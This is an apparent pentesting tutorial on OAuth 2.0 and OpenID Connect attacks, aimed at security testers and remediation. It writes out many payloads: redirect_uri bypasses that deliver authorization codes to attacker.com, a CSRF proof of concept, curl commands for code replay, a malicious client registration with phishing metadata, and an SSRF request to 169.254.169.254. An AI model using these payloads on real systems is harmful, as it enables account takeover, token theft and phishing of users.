Exploitation A07

OAuth 2.0 & OIDC Attacks

OAuth 2.0 and OpenID Connect power "Login with Google/Facebook/etc." across the web. Implementation flaws can lead to account takeover, token theft, and unauthorized access.

Warning

OAuth attacks can affect user accounts and authorization. Test with your own accounts and clearly document the attack chain for remediation guidance.

OAuth 2.0 Authorization Code Flow

Understanding the OAuth flow is essential for identifying attack points. Each step has potential vulnerabilities.

OAuth 2.0 Authorization Code Flow

sequenceDiagram participant U as User/Browser participant App as Application participant AuthS as Authorization Server participant RS as Resource Server U->>App: 1. Click "Login with Provider" App->>U: 2. Redirect to AuthS /authorize U->>AuthS: 3. Authenticate & consent AuthS->>U: 4. Redirect to App /callback?code=AUTH_CODE U->>App: 5. Follow redirect with auth code App->>AuthS: 6. Exchange code + client_secret for tokens AuthS->>App: 7. Return access_token + refresh_token App->>RS: 8. API call with access_token RS->>App: 9. Protected resource data
oauth-flow.txt
http
# OAuth 2.0 Authorization Code Flow

# 1. User clicks "Login with Provider"
→ Redirect to: https://auth.provider.com/authorize?
    response_type=code&
    client_id=CLIENT_ID&
    redirect_uri=https://app.com/callback&
    scope=openid profile email&
    state=RANDOM_STATE_VALUE

# 2. User authenticates with provider and consents

# 3. Provider redirects back with authorization code
← Redirect to: https://app.com/callback?
    code=AUTHORIZATION_CODE&
    state=RANDOM_STATE_VALUE

# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

# 5. Provider returns tokens
{
  "access_token": "eyJ...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
  "id_token": "eyJ..."  // OIDC only
}
# OAuth 2.0 Authorization Code Flow

# 1. User clicks "Login with Provider"
→ Redirect to: https://auth.provider.com/authorize?
    response_type=code&
    client_id=CLIENT_ID&
    redirect_uri=https://app.com/callback&
    scope=openid profile email&
    state=RANDOM_STATE_VALUE

# 2. User authenticates with provider and consents

# 3. Provider redirects back with authorization code
← Redirect to: https://app.com/callback?
    code=AUTHORIZATION_CODE&
    state=RANDOM_STATE_VALUE

# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

# 5. Provider returns tokens
{
  "access_token": "eyJ...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
  "id_token": "eyJ..."  // OIDC only
}

Key Attack Points

Step 1: /authorize

  • • redirect_uri manipulation
  • • Missing/weak state parameter
  • • Scope elevation

Step 3: Callback

  • • Code/token leakage
  • • Open redirect exploitation
  • • State validation bypass

Step 4: /token

  • • Client secret leakage
  • • PKCE bypass
  • • Code replay attacks

Step 5: Token Usage

  • • Token theft via XSS
  • • Insufficient validation
  • • Token reuse across apps

Redirect URI Manipulation

The redirect_uri tells the OAuth provider where to send the authorization code or token. If validation is weak, attackers can redirect tokens to their controlled domain.

Redirect URI Hijack — Auth Code Theft

sequenceDiagram participant V as Victim participant App as Application participant AuthS as Auth Server participant Atk as Attacker Atk->>V: 1. Send crafted link with redirect_uri=attacker.com V->>AuthS: 2. /authorize?redirect_uri=attacker.com/callback AuthS->>AuthS: 3. Weak validation passes AuthS->>V: 4. Redirect to attacker.com/callback?code=AUTH_CODE V->>Atk: 5. Browser follows redirect — code sent to attacker Atk->>AuthS: 6. Exchange stolen code for tokens AuthS->>Atk: 7. access_token + refresh_token Note over Atk: Full account access
redirect-uri-attacks.txt
text
# Redirect URI Manipulation Attacks

# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code

# Legitimate:
https://auth.provider.com/authorize?
  redirect_uri=https://app.com/callback

# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker

# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback

# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback

# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com

# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback

# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!
# Redirect URI Manipulation Attacks

# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code

# Legitimate:
https://auth.provider.com/authorize?
  redirect_uri=https://app.com/callback

# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker

# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback

# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback

# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com

# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback

# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!

Tip

Always test redirect_uri manipulation in an isolated environment. Even unsuccessful attempts provide information about the validation logic for your report.

State Parameter Attacks (CSRF)

state-attacks.txt
text
# State Parameter Attacks (CSRF)

# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible

# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # NO state parameter!

# Attack: 
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account

# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it

# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present

# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?

# Proof of Concept:
<html>
<body>
  <!-- Force victim to complete attacker's OAuth flow -->
  <img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>
# State Parameter Attacks (CSRF)

# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible

# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # NO state parameter!

# Attack: 
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account

# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it

# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present

# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?

# Proof of Concept:
<html>
<body>
  <!-- Force victim to complete attacker's OAuth flow -->
  <img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>

Token Leakage Vectors

token-leakage.txt
text
# Token Leakage Vectors

# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header

https://app.com/callback#access_token=eyJ...&token_type=bearer

# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...

# 2. Token in Query String
https://app.com/callback?access_token=eyJ...

# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)

# 3. Postmessage Leakage
# If app uses postMessage for token delivery:

window.addEventListener('message', function(e) {
  // No origin check!
  processToken(e.data.access_token);
});

# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');

# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}
# Token Leakage Vectors

# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header

https://app.com/callback#access_token=eyJ...&token_type=bearer

# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...

# 2. Token in Query String
https://app.com/callback?access_token=eyJ...

# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)

# 3. Postmessage Leakage
# If app uses postMessage for token delivery:

window.addEventListener('message', function(e) {
  // No origin check!
  processToken(e.data.access_token);
});

# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');

# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}

PKCE Bypass

PKCE (Proof Key for Code Exchange) was designed to protect against authorization code interception. However, implementation issues can render it ineffective.

pkce-bypass.txt
text
# PKCE (Proof Key for Code Exchange) Bypass

# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass

# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches

# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # No code_challenge - if it works, PKCE is optional!

# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!

# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value

# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen code
# PKCE (Proof Key for Code Exchange) Bypass

# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass

# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches

# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # No code_challenge - if it works, PKCE is optional!

# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!

# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value

# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen code

Client Secret Leakage

client-secret-leakage.txt
bash
# Client Secret Leakage & Misconfiguration

# Finding Client Secrets:

# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";

# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/

# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets

# 4. Git History
git log -p | grep -i "client_secret"

# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}

# Exploitation with Leaked Secret:

# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET
# Client Secret Leakage & Misconfiguration

# Finding Client Secrets:

# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";

# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/

# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets

# 4. Git History
git log -p | grep -i "client_secret"

# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}

# Exploitation with Leaked Secret:

# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

OpenID Connect Attacks

OIDC extends OAuth 2.0 with identity features. The id_token (a JWT) introduces additional attack surfaces.

oidc-attacks.txt
text
# OpenID Connect (OIDC) Specific Attacks

# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info

# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly

# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation  
- Expiration (exp) check
- Nonce validation (prevents replay)

# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed

# Capture valid id_token
# Send same id_token again with different session
# If accepted → nonce not validated

# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:

# Original:
{"sub": "user123", "email": "user@example.com"}

# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}

# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN

# If app doesn't validate properly, attacker token is accepted

# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keys
# OpenID Connect (OIDC) Specific Attacks

# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info

# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly

# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation  
- Expiration (exp) check
- Nonce validation (prevents replay)

# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed

# Capture valid id_token
# Send same id_token again with different session
# If accepted → nonce not validated

# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:

# Original:
{"sub": "user123", "email": "user@example.com"}

# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}

# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN

# If app doesn't validate properly, attacker token is accepted

# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keys

Testing Workflow

OAuth Attack Decision Tree

flowchart TD A[Identify OAuth Flow Type] --> B{Response Type?} B -->|code| C[Authorization Code Flow] B -->|token| D[Implicit Flow] B -->|code + PKCE| E[PKCE Flow] C --> C1{redirect_uri strict?} C1 -->|No| C2[Redirect URI Hijack] C1 -->|Yes| C3{State parameter?} C3 -->|Missing| C4[CSRF / Login CSRF] C3 -->|Present| C5{Code reuse?} C5 -->|Yes| C6[Auth Code Replay] C5 -->|No| C7[Client Secret Leak?] C7 -->|Yes| C8[Token Endpoint Abuse] D --> D1[Token in URL Fragment] D1 --> D2[Referrer Leak / History Sniffing] E --> E1{code_verifier validated?} E1 -->|No| E2[PKCE Downgrade] E1 -->|Yes| E3[Check Scope Escalation] style C2 fill:#ff6b6b,stroke:#000,color:#000 style C4 fill:#ff6b6b,stroke:#000,color:#000 style C6 fill:#ff6b6b,stroke:#000,color:#000 style C8 fill:#ff6b6b,stroke:#000,color:#000 style D2 fill:#ff6b6b,stroke:#000,color:#000 style E2 fill:#ff6b6b,stroke:#000,color:#000
testing-workflow.txt
text
# OAuth/OIDC Testing Workflow

# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo

# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters

# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching

# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback

# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay

# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier

# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replay
# OAuth/OIDC Testing Workflow

# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo

# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters

# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching

# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback

# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay

# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier

# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replay

Practice Labs

Testing Checklist

🔍 Redirect URI

  • ☐ Test path manipulation (../, etc.)
  • ☐ Test subdomain variations
  • ☐ Test URL encoding bypasses
  • ☐ Test parameter pollution
  • ☐ Check for open redirect in callback

⚡ State/CSRF

  • ☐ Remove state parameter
  • ☐ Reuse state values
  • ☐ Use predictable state
  • ☐ Cross-session state usage

🔐 PKCE

  • ☐ Try without code_challenge
  • ☐ Try with plain method
  • ☐ Try wrong code_verifier
  • ☐ Check code_challenge binding

📝 Tokens

  • ☐ Check for token in URL/Referer
  • ☐ Test id_token validation
  • ☐ Look for client_secret exposure
  • ☐ Test token replay attacks
  • ☐ Check scope handling
  • ☐ Test code reuse/replay
  • ☐ Test mix-up attacks (multi-IdP)
  • ☐ Test dynamic client registration

🔬 Advanced OAuth/OIDC Attacks

Authorization Code Reuse & Replay

Authorization codes should be single-use per RFC 6749. Many implementations fail to enforce this:

bash
# Step 1: Complete a legitimate OAuth flow, capture the authorization code
# GET /callback?code=AUTH_CODE_123&state=VALID_STATE

# Step 2: Exchange the code for tokens (legitimate)
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"

# Step 3: Try replaying the same code (should fail but often doesn't)
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"
# If you get a second token → code reuse vulnerability

# Code injection: Use attacker's code in victim's session
# 1. Attacker starts OAuth flow, gets code but doesn't exchange it
# 2. Attacker injects their code into victim's callback URL
# 3. Victim's session now linked to attacker's account at the IdP
# Step 1: Complete a legitimate OAuth flow, capture the authorization code
# GET /callback?code=AUTH_CODE_123&state=VALID_STATE

# Step 2: Exchange the code for tokens (legitimate)
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"

# Step 3: Try replaying the same code (should fail but often doesn't)
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"
# If you get a second token → code reuse vulnerability

# Code injection: Use attacker's code in victim's session
# 1. Attacker starts OAuth flow, gets code but doesn't exchange it
# 2. Attacker injects their code into victim's callback URL
# 3. Victim's session now linked to attacker's account at the IdP

IdP Mix-Up Attack

When an app supports multiple identity providers, an attacker can confuse which IdP issued a response, stealing authorization codes:

bash
# Attack scenario: App supports both Google and EvilIdP
# 1. Victim starts login with Google → app sends victim to Google
# 2. Attacker's MitM/malicious IdP intercepts, replaces authorization endpoint
#    with their own, then relays back through Google's redirect_uri
# 3. Victim authenticates with Google, code goes to attacker's IdP endpoint
# 4. Attacker captures victim's Google authorization code

# Detection: Check if the app validates the 'iss' (issuer) in the response
# Test by modifying the authorization response to swap issuer claims:
# Change iss=https://accounts.google.com to iss=https://evil.com

# Mitigation check: Does the app use the 'iss' parameter in the authorization response?
# RFC 9207 defines this protection. Test if removing/modifying 'iss' breaks the flow.
# Attack scenario: App supports both Google and EvilIdP
# 1. Victim starts login with Google → app sends victim to Google
# 2. Attacker's MitM/malicious IdP intercepts, replaces authorization endpoint
#    with their own, then relays back through Google's redirect_uri
# 3. Victim authenticates with Google, code goes to attacker's IdP endpoint
# 4. Attacker captures victim's Google authorization code

# Detection: Check if the app validates the 'iss' (issuer) in the response
# Test by modifying the authorization response to swap issuer claims:
# Change iss=https://accounts.google.com to iss=https://evil.com

# Mitigation check: Does the app use the 'iss' parameter in the authorization response?
# RFC 9207 defines this protection. Test if removing/modifying 'iss' breaks the flow.

Advanced redirect_uri Bypass

bash
# Subdomain wildcard exploitation
# If redirect_uri validates *.target.com:
redirect_uri=https://evil.target.com/callback           # Subdomain takeover
redirect_uri=https://xss.target.com/callback             # XSS on any subdomain
redirect_uri=https://target.com.attacker.com/callback    # Parser confusion

# Fragment-based token theft (implicit/hybrid flows)
# Tokens in URL fragments (#access_token=...) are not sent to the server
# but ARE accessible via JavaScript — chain with open redirect:
redirect_uri=https://target.com/page-with-open-redirect

# Path traversal in redirect_uri
redirect_uri=https://target.com/callback/../../../attacker-page
redirect_uri=https://target.com/callback/..%2F..%2Fattacker-page
redirect_uri=https://target.com/callback%23@attacker.com

# Localhost/loopback bypass (for native app flows)
redirect_uri=http://127.0.0.1:8080/callback
redirect_uri=http://[::1]:8080/callback
redirect_uri=http://0.0.0.0:8080/callback
# Subdomain wildcard exploitation
# If redirect_uri validates *.target.com:
redirect_uri=https://evil.target.com/callback           # Subdomain takeover
redirect_uri=https://xss.target.com/callback             # XSS on any subdomain
redirect_uri=https://target.com.attacker.com/callback    # Parser confusion

# Fragment-based token theft (implicit/hybrid flows)
# Tokens in URL fragments (#access_token=...) are not sent to the server
# but ARE accessible via JavaScript — chain with open redirect:
redirect_uri=https://target.com/page-with-open-redirect

# Path traversal in redirect_uri
redirect_uri=https://target.com/callback/../../../attacker-page
redirect_uri=https://target.com/callback/..%2F..%2Fattacker-page
redirect_uri=https://target.com/callback%23@attacker.com

# Localhost/loopback bypass (for native app flows)
redirect_uri=http://127.0.0.1:8080/callback
redirect_uri=http://[::1]:8080/callback
redirect_uri=http://0.0.0.0:8080/callback

Dynamic Client Registration Abuse

OIDC dynamic client registration (RFC 7591) lets anyone register a new OAuth client — often without authentication:

bash
# Check if dynamic registration is enabled
curl https://auth.target.com/.well-known/openid-configuration | jq .registration_endpoint

# Register a malicious client
curl -X POST https://auth.target.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Legitimate App",
    "redirect_uris": ["https://attacker.com/callback"],
    "grant_types": ["authorization_code"],
    "response_types": ["code"],
    "logo_uri": "https://attacker.com/phishing-logo.png",
    "tos_uri": "https://attacker.com/fake-tos"
  }'
# Response includes client_id and client_secret for the new client
# Now use this client_id with the authorization endpoint — users see a consent screen
# with your logo_uri and client_name, making phishing convincing

# SSRF via client metadata URLs:
# logo_uri, policy_uri, tos_uri, jwks_uri, sector_identifier_uri
# These may be fetched server-side during registration
curl -X POST https://auth.target.com/register \
  -d '{"redirect_uris":["https://attacker.com"],"jwks_uri":"http://169.254.169.254/latest/meta-data/"}'
# Check if dynamic registration is enabled
curl https://auth.target.com/.well-known/openid-configuration | jq .registration_endpoint

# Register a malicious client
curl -X POST https://auth.target.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Legitimate App",
    "redirect_uris": ["https://attacker.com/callback"],
    "grant_types": ["authorization_code"],
    "response_types": ["code"],
    "logo_uri": "https://attacker.com/phishing-logo.png",
    "tos_uri": "https://attacker.com/fake-tos"
  }'
# Response includes client_id and client_secret for the new client
# Now use this client_id with the authorization endpoint — users see a consent screen
# with your logo_uri and client_name, making phishing convincing

# SSRF via client metadata URLs:
# logo_uri, policy_uri, tos_uri, jwks_uri, sector_identifier_uri
# These may be fetched server-side during registration
curl -X POST https://auth.target.com/register \
  -d '{"redirect_uris":["https://attacker.com"],"jwks_uri":"http://169.254.169.254/latest/meta-data/"}'

OIDC Claim Tampering

bash
# acr (Authentication Context Class Reference) manipulation
# If the app trusts the acr claim to determine authentication strength:
# Modify the id_token to downgrade acr from "urn:mfa" to "urn:password"
# This may bypass MFA requirements downstream

# amr (Authentication Methods References) manipulation  
# Test if the app enforces specific authentication methods:
# Modify amr: ["pwd","otp"] → amr: ["pwd"] (remove MFA indicator)

# Userinfo endpoint exploitation
curl -H "Authorization: Bearer ACCESS_TOKEN" \
  https://auth.target.com/userinfo
# Check if userinfo returns more claims than the id_token
# Test with different scopes: openid profile email address phone

# Claims aggregation — test if the relying party blindly trusts
# claims from distributed claims endpoints
# Specify a claims source that returns elevated privileges
# acr (Authentication Context Class Reference) manipulation
# If the app trusts the acr claim to determine authentication strength:
# Modify the id_token to downgrade acr from "urn:mfa" to "urn:password"
# This may bypass MFA requirements downstream

# amr (Authentication Methods References) manipulation  
# Test if the app enforces specific authentication methods:
# Modify amr: ["pwd","otp"] → amr: ["pwd"] (remove MFA indicator)

# Userinfo endpoint exploitation
curl -H "Authorization: Bearer ACCESS_TOKEN" \
  https://auth.target.com/userinfo
# Check if userinfo returns more claims than the id_token
# Test with different scopes: openid profile email address phone

# Claims aggregation — test if the relying party blindly trusts
# claims from distributed claims endpoints
# Specify a claims source that returns elevated privileges

Evidence Collection

Auth Code Theft: Burp intercept showing authorization code leaked to attacker-controlled redirect_uri — prove the code can be exchanged for an access token

CSRF/State Bypass: OAuth flow completed without state parameter or with reused state value — demonstrate account linking to attacker's identity

Token Leakage: Access token exposed in URL fragment, Referer header, or browser history — capture showing the token and the scope it grants

Scope Escalation: Request with manipulated scope parameter and response showing the token was granted elevated permissions beyond what was authorized

CVSS Range: State/CSRF bypass: 6.5–8.0 (High) | Auth code theft: 8.0–9.1 | Full account takeover via OAuth: 9.1–9.8 (Critical)

False Positive Identification

  • redirect_uri strict matching: Wildcards in redirect_uri are a risk, but exact string matching is safe. Test actual bypass techniques (path traversal, fragment, subdomain) before reporting.
  • PKCE protection: If PKCE (code_challenge/code_verifier) is enforced, stolen auth codes can't be exchanged without the verifier — check if the server requires PKCE before reporting code theft.
  • Short-lived auth codes: Authorization codes are typically single-use and expire in 30–60 seconds — exploitation requires near-real-time interception. Note the time window in your report.
  • Implicit flow deprecation: The implicit flow (response_type=token) is deprecated in OAuth 2.1 — if the application also supports the code flow with PKCE, flag the implicit flow as a misconfiguration rather than a critical finding.